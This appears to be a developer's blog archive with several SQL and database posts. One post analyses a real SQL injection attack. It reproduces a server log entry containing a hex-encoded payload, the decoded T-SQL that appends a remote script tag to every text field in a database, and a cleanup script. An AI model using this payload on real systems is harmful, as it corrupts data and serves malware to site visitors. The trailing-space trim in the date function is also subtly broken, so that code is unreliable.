I’ve been following the progress of the MySQL Workbench project for quite some time now ever since the discontinuation of DbDesigner4. For a while things appeared to be moving slowly and the early releases were painfully slow and hard to use, but with the most recent releases I feel that it is really ready for prime time. It isn’t quite as powerful as some other commercial tools I use, but it is free, quick, and does a great job for small databases.

One of the things that I am really liking about MySql Workbench the most is it’s solid design. I have been able to open up the source code and view a very nicely written application that very much appears to be designed for growth. Many of the key settings and customizations are even left out of the compiled code and read dynamically from XML files upon startup.

Recently I found that the tool didn’t support some standard page sizes I use for printing out diagrams — most notably (to me anyway), Arch-E, the standard page size of the printer at my local FedEx Kinkos.

After only a few minutes of poking around I found a file in the data directory called paper_types.xml that contained all of the paper sizes that the program would. A quick trip to Wikipedia and I was easily able to add my Arch-E paper type. After restarting the program I was easily to print directly to the printer as well as export to the correct size pdf.

Here’s the code to add to save you (and probably myself later) some time:
Add this to C:\Program Files\MySQL\MySQL Workbench 5.0 OSS\data\paper_types.xml

<value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archa">
      <value type="string" key="name">Arch-A</value>
      <value type="string" key="caption">Arch A (9 in x 12 in.)</value>
      <value type="real" key="width">228.6</value>
      <value type="real" key="height">304.8</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archb">
      <value type="string" key="name">Arch-B</value>
      <value type="string" key="caption">Arch B (12 in x 18 in.)</value>
      <value type="real" key="width">304.8</value>
      <value type="real" key="height">457.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archc">
      <value type="string" key="name">Arch-C</value>
      <value type="string" key="caption">Arch C (18 in x 24 in.)</value>
      <value type="real" key="width">457.2</value>
      <value type="real" key="height">609.6</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.archd">
      <value type="string" key="name">Arch-D</value>
      <value type="string" key="caption">Arch D (24 in x 36 in.)</value>
      <value type="real" key="width">609.6</value>
      <value type="real" key="height">914.4</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche">
      <value type="string" key="name">Arch-E</value>
      <value type="string" key="caption">Arch E (36 in x 48 in.)</value>
      <value type="real" key="width">914.4</value>
      <value type="real" key="height">1219.2</value>
    </value>
    <value type="object" struct-name="app.PaperType" id="com.mysql.wb.papertype.arche1">
      <value type="string" key="name">Arch-E1</value>
      <value type="string" key="caption">Arch E1 (30 in x 42 in.)</value>
      <value type="real" key="width">762</value>
      <value type="real" key="height">1066.8</value>
    </value>

Now that Google has started flagging sites that are linking to badware in their index I’ve been getting quite a few calls from people who have been flagged and need to get back on track.

These are often sites that were written a while back (not by myself) when developers didn’t think as much about SQL injection as they do now. Sometimes the code was just poorly written by someone who didn’t know better. However it happened, each site has its own challenge.

Fixing the security hole is generally straight forward — I usually just have to identify where the SQL isn’t properly escaped and fix that code. The hard part I have had fixing these sites is fixing the database itself. Some clients have backups, and some I can fix with SQL Log Rescue, but generally a lot of small clients simply don’t have great control over their server and often don’t have any backups.

I had one such of these clients this week where their database had hundreds and hundreds of tables, all with malware code injected into the data. I was initially going to write a script to clean all the data, but after looking at the malware attack, I was able to use their own code to fix the database.

In the server log files. I noticed this request was coming in for every script several times a day. Looks like it just wanders the internet hoping that that id=2 in the query string won’t be escaped in the code.

GET script.asp?id=2 ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220%20AS%20CHAR(4000));EXEC(@S); 80 - 121.18.89.190 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) - - www.wirelust.com 200 0 0 14827 1516 9781

 

If the id isn’t escaped, as it wasn’t in this situation, a query like this will hit your SQL server:

SELECT *
FROM SomeTable
WHERE id=2;DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434c415245204054207661726368617228323535292c40432076617263686172283430303029204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d27272b5b272b40432b275d20776865726520272b40432b27206e6f74206c696b6520272725223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f7777772e776972656c7573742e636f6d2f626164646965732d7363726970742e6a73223e3c2f7363726970743e3c212d2d272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f7220 AS CHAR(4000));
EXEC(@S);

 

hmm. okay. so what is it executing as the value of @S?
If you change the statement from EXEC(@S) to PRINT(@S) you get this:
Warning: Do not run this on your server, it will mess up ALL of your data

DECLARE @T VARCHAR(255),@C VARCHAR(4000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor
FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
	EXEC('update ['+@T+'] set ['+@C+']=''"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''+['+@C+'] where '+@C+' not like ''%"></title><script src="http://www.wirelust.com/baddies-script.js"></script><!--''')
	FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

 

I thought this code was pretty clever. It selects a cursor that contains every varchar and text field in every table on the database, then loops over the cursor and issues an update command to append their bad script to the end of the data in each field.

Luckily, it is in their best interest to leave your data in place and just place their code at the end - it increases the chance you won’t know your site is infected.

Since all of the original data is still in the database, I was able to tweak their code a little bit to write a script to fix the data:

DECLARE @T VARCHAR(255), @C VARCHAR(4000), @SQL VARCHAR(5000)
DECLARE Table_Cursor CURSOR FOR 
	SELECT a.name,b.name
	FROM sysobjects a,syscolumns b
	WHERE a.id=b.id
	and a.xtype='u'
	and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
	WHILE(@@FETCH_STATUS=0) 
	BEGIN 
		SET @SQL = 'update ['+@T+'] set ['+@C+']=Replace(['+@C+'], ''<script src="http://www.wirelust.com/baddies-script.js"></script>'', '''') where '+@C+' like ''%<script src="http://www.wirelust.com/baddies-script.js"></script>%'''
		PRINT @SQL
		-- exec(@SQL)
		FETCH NEXT FROM  Table_Cursor INTO @T,@C
	END 
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

All the time, when I’m writing reports I need to display a ‘time elapsed’ metric in a short easy to read manor. Usually I do this with a simple convenience function in whatever language I am writing the GUI in. For reports that are purely in SQL, I have created just such a convenience function for SQL server: dateDiffHumanReadable( startDate, endDate, precision ).

This makes it easy to display date spans.

To see how old I currently am, I would call:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), DEFAULT)

This will return my current age:
30y 114d 38m 11s 620ms

This comes in handy when I have a log table with columns like this:

• process
• timeStart
• timeEnd

Just using DATEDIFF I would have to do this:

SELECT process,
	CASE WHEN timeStart IS NOT NULL AND timeEnd IS NOT NULL THEN
		DATEDIFF(s, timeStart, timeEnd)
	ELSE
		''
	END AS [seconds]
FROM logTable

With this function, I can get more informational results just doing this:

SELECT process, dbo.dateDiffHumanReadable(timeStart, timeEnd, DEFAULT)
FROM logTable

The third parameter is a precision value for when you don’t need right down to the millisecond returned. Calling this:

DECLARE @birthday DATETIME
SET @birthday = '6/2/1978 16:00:00'
PRINT dbo.dateDiffHumanReadable(@birthday, GETDATE(), 'y')

This will return just the year of my current age:
30y

Full code

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		T. Curran
-- Create date: 3/20/2008
-- Description:	Generates a human readable difference between two dates, in the form '1y 5d 3h 2m 6s 10ms'
-- =============================================
CREATE FUNCTION [dbo].[dateDiffHumanReadable]
(
		@dateStart DATETIME,
		@dateEnd DATETIME,
		@PRECISION VARCHAR(2) = 'ms'
)
RETURNS VARCHAR(200)
AS
BEGIN
	DECLARE @diffAsString VARCHAR(200),
		@dateScratch DATETIME,
		@years INT,
		@days INT,
		@hours INT,
		@minutes INT,
		@seconds INT,
		@milliseconds INT
 
	SET @diffAsString = ''
	IF (@dateStart IS NULL OR @dateEnd IS NULL) BEGIN
		RETURN @diffAsString
	END
 
	-- @dateScratch is used as a holding place for us to increment the date so we don't alter @dateStart
	SET @dateScratch = @dateStart
 
	-- years
	SET @years = DATEDIFF(yy, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(yy, @years, @dateScratch)
 
	-- days
	SET @days = DATEDIFF(d, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(d, @days, @dateScratch)
 
	-- hours
	SET @hours = DATEDIFF(hh, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(hh, @hours, @dateScratch)
 
	-- minutes
	SET @minutes = DATEDIFF(mi, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(mi, @minutes, @dateScratch)
 
	-- seconds
	SET @seconds = DATEDIFF(s, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(s, @seconds, @dateScratch)
 
	-- milliseconds
	SET @milliseconds = DATEDIFF(ms, @dateScratch, @dateEnd)
	SET @dateScratch = DATEADD(ms, @milliseconds, @dateScratch)
 
 
	-- Build the output string based on the precision
 
	-- years
	IF (@PRECISION = 'y' OR @PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@years > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@years AS VARCHAR(10)) +  'y '
		END
	END
 
	-- days
	IF (@PRECISION = 'd' OR @PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@days > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@days AS VARCHAR(10)) +  'd '
		END
	END
 
	-- hours
	IF (@PRECISION = 'h' OR @PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@hours > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@hours AS VARCHAR(10)) +  'h '
		END
	END
 
	-- minutes
	IF (@PRECISION = 'm' OR @PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@minutes > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@minutes AS VARCHAR(10)) +  'm '
		END
	END
 
	-- seconds
	IF (@PRECISION = 's' OR @PRECISION = 'ms') BEGIN
		IF (@seconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@seconds AS VARCHAR(10)) +  's '
		END
	END
 
	-- milliseconds
	IF (@PRECISION = 'ms') BEGIN
		IF (@milliseconds > 0) BEGIN
			SET @diffAsString = @diffAsString + CAST(@milliseconds AS VARCHAR(10)) +  'ms '
		END
	END
 
	-- the above string concat always ends with a space, if the space is there at the end remove it
	IF (LEN(@diffAsString) > 0) BEGIN
		IF (RIGHT(@diffAsString, 1) = '') BEGIN
			SET @diffAsString = LEFT(@diffAsString, LEN(@diffAsString))
		END
	END
	
	RETURN @diffAsString
END
GO

This is something that wasn’t apparent to me for quite a while and seems to trip me up every now and again.

Say you have two tables. ‘Employees’ and ‘Payroll’.

Employees

column	type
username	varchar(200)
email	varchar(200)

Payroll

column	type
username	varchar(200)
paid	datetime
amount	money

Not great tables, but they will get the point across.

If you wanted to select all employees who have never been paid, you would normally do a query like this:

SELECT *
FROM Employees
WHERE username NOT IN (
	SELECT username
	FROM Payroll
)

What trips up this query is if there is a NULL username in Payroll, it will never return any results. In order to make it work, you have to select all the NON NULL usernames from Payroll.

SELECT *
FROM Employees
WHERE username NOT IN (
	SELECT username
	FROM Payroll
	WHERE username IS NOT NULL
)

This behavior seems to be consistent in MySQL 5 and SQL Server 2005, I haven’t tested in Oracle.